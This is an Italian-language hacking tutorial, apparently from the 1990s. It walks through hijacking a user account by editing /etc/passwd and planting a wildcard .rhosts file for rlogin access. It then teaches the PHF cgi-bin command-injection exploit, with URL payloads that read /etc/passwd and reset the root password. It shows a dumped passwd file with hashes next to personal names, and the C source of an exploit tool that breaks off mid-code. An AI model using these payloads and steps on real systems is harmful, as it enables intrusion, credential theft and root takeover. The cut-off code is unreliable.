drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk
drwxr-xr-x 2 302 other 512 Mar 1 10:10 tom
drwxr-xr-x 5 601 daemon 512 Jan 26 1996 viewx
drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www
bash# ; tom e'l'utente #302
bash# pico /etc/passwd ;mettiamolo nella nostra passwd list
tom:x:302:2::/home:/bin/bash ;
bash# su - tom ; facciamo su sull'account di tom ...
bash$ ls -l
total 18
drwxr-xr-x 2 judy other 512 Feb 1 10:41 garry
drwxr-xr-x 69 infobahn other 5632 Mar 10 01:42 horke
drwxr-xr-x 11 301 other 2048 Mar 1 10:25 jens
drwxr-xr-x 2 300 other 512 Oct 15 07:45 joerg
drwxr-xr-x 2 604 other 512 Feb 8 13:00 mailadmin
drwxr-xr-x 2 melissa other 512 Sep 27 06:15 mk
drwxr-xr-x 6 news news 512 Mar 6 1996 news
drwxr-xr-x 2 303 other 512 Jan 24 04:17 norbert
drwxr-xr-x 4 jim other 512 Sep 27 06:16 pauk
drwxr-xr-x 2 tom other 512 Mar 1 10:10 tom
drwxr-xr-x 5 601 daemon 512 Jan 26 1996 view
drwxr-xr-x 10 15 audio 512 Oct 17 08:03 www
bash$ ;Nota che l'user number di tom non c'e'piu': ora la dir e'nostra!
bash$ echo + +>>tom/.rhosts ; this will make a file in his dir called .rhosts
bash$ ;inside .rhosts sara' wild cards + + per far accedere chiunque con rlogin
bash$ rlogin xxxxx.xxx Ora siamo tom sulla macchina facciamo rlogin
Last login: Fri Mar 7 00:16:03 from xxxxx.xxxxxxxxxx
Sun Microsystems Inc. SunOS 5.5 Generic November 1995
> ; yup we are in!
> ls -al
total 8
drwxr-xr-x 2 tom group 512 Mar 1 17:10 .
drwxr-xr-x 14 tom group 512 Jan 24 11:16 ..
-rw-r--r-- 1 tom group 144 Dec 30 15:32 .profile
-rw-r--r-- 1 tom bin 8 Mar 11 08:26 .rhosts
>
Ok,ora abbiamo l'accesso,iniziamo l'hack al sistema ....ops ..questa e'un altra
lezione!
-------------------------
Capitolo III
Recuperare i passwd files
-------------------------
Ci sono alcuni modi per ottenere i file delle password da sistemi unix. Nella
maggior parte dei casi ti servira' un account, ma c'e'anche un modo per entrare
in un sistema senza avere un account. Qui imparerai la differenza tra un normale
file di password ed un file di password shadowed. Imparerai anche un modo di
leggere un file di password shadowed.
------------------
Sezione 3A
PHF WWW PH Query
------------------
C'e'un programma nella directory WWW cgi-bin chiamato phf, se il file si trova
qui,e ha dei permessi di un certo tipo,puoi accederci usando www, o un browser
testuale presente in linux come lynx. Ora puoi leggere i file nel sistema (yup
.. /etc/passwd) e salvarli localmente sul tuo computer.
Ci sono molte altre cose che si posssono fare ora. Se il server fa girare httpd
come root,possiamo essere root usando phf e possiamo anche cambiare la password
di un account sulla macchina.
Includero' uno script in perl che fara' l'auto-check di tutti i sistemi usando
lo script getdomain.pl che si trova qui sotto e controllera' se il server sta
girando come root, in tal caso far' il log dell'id; altrimenti fara'
automaticamente il download del file di password dalla directory /etc e lo
chiamera' nomedominio.???.passwd.
Fara' anche l'attach di uno script che permettera' di usare un semplice comando
da una shell e se il phf e'sul sistema ti permettera' di accodare i comandi
dalla shell al sistema remoto con una sola riga di comando.
Ok,ora impariamo ad usare il phf.
Usa il tuo Web browser preferito,sia esso un browser grafico o testuale come ad
esempio lynx,presente sulla maggior parte dei sistemi unix.
Dopo che e'apparsa la schermata,premi il tasto g, ora appare una riga come
questa:
URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
Digita:
URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
Apparira':
QUERY RESULTS
/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
Cosi' vediamo che sta girando come utente (nobody), cosi',nel sistema, ora
possiamo essere un utente chiamato nobody. Non siamo root,ma e'quello che
dobbiamo ottenere ;)
Nota la riga di comando:
http://afp.org/cgi-bin/phf/?Qalias=x%0aid
L'ID era il comando al server per darci l'ID del'utente. Qualche volta dovrai
dare l'intero path del file che vuoi lanciare, in questo caso avrebbe dovuto
essere:
http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id
Nota che dopo %0a inizia la riga di comando. Se vuoi inserire uno spazio dovrai
scrivere %20 invece dello spazio. Queste sono delle linee di comando di esempio.
Le iniziero' con %0a
Fa il cat del passwd file
%0a/bin/cat%20/etc/passwd
Ottieni una long directory nella directory /etc di tutti i file che iniziano con
pass
%0als%20-al%20/etc/pass*
Fa il backup del password file se hai accesso di root con httpd a passwd.my
%0acp%20/etc/passwd%20/etc/passwd.my
Cambia la password di root (se il server te lo permette (e di solito lo fa))
%0apasswd%20root
(la riga qui sopra dovrebbe permettere di fare login senza password,ricorda di
copiare sempre il passwd.my sopra al file gia' presente, e quindi cancellare
sempre il backup,poi creati una suid shell bash da qualche parte e
rinominala,fai sniffing per trovare le tue password).
Se sai come digitare i comandi unix e non ti dimentichi di usare %20 al posto
degli spazi ,non avrai nessun problema!
Ok, recuperiamo il file di passwd su questo sistema ;)
Url da aprire: http://xxx.org/cgibin/phf/?Qalias=x%0acat%20/etc/passwd
Otteniamo:
QUERY RESULTS
/usr/local/bin/ph -m alias=x cat /etc/passwd
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
Un piccolo file di passwd! Arghhhhh!!!
Se vuoi salvare questo in un file nella tua directory locale usa l'opzione
rint nel browser testuale e potrai ora salvare il file nella vostra Home.
Impariamo qualcosa ora:
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
1 :2 :3 :4 :5 :6 :7
1=username 2=password criptata 3=numero dell'utente 4=group id 5=realname
6=home directory 7=shell
Ok, diciamo di non voler usare un browser Web, questo e'uno script che puoi
compilare per poter usare normali comandi dalla shell
phf.c
------ cut here----
/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup mess, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/
#include
#include
#include
#include
#include
#include
#include
int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;
if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}
command = (char *)malloc(strlen(argv[1]) * 2);
while (argv[1][i] != ' |
|
|
|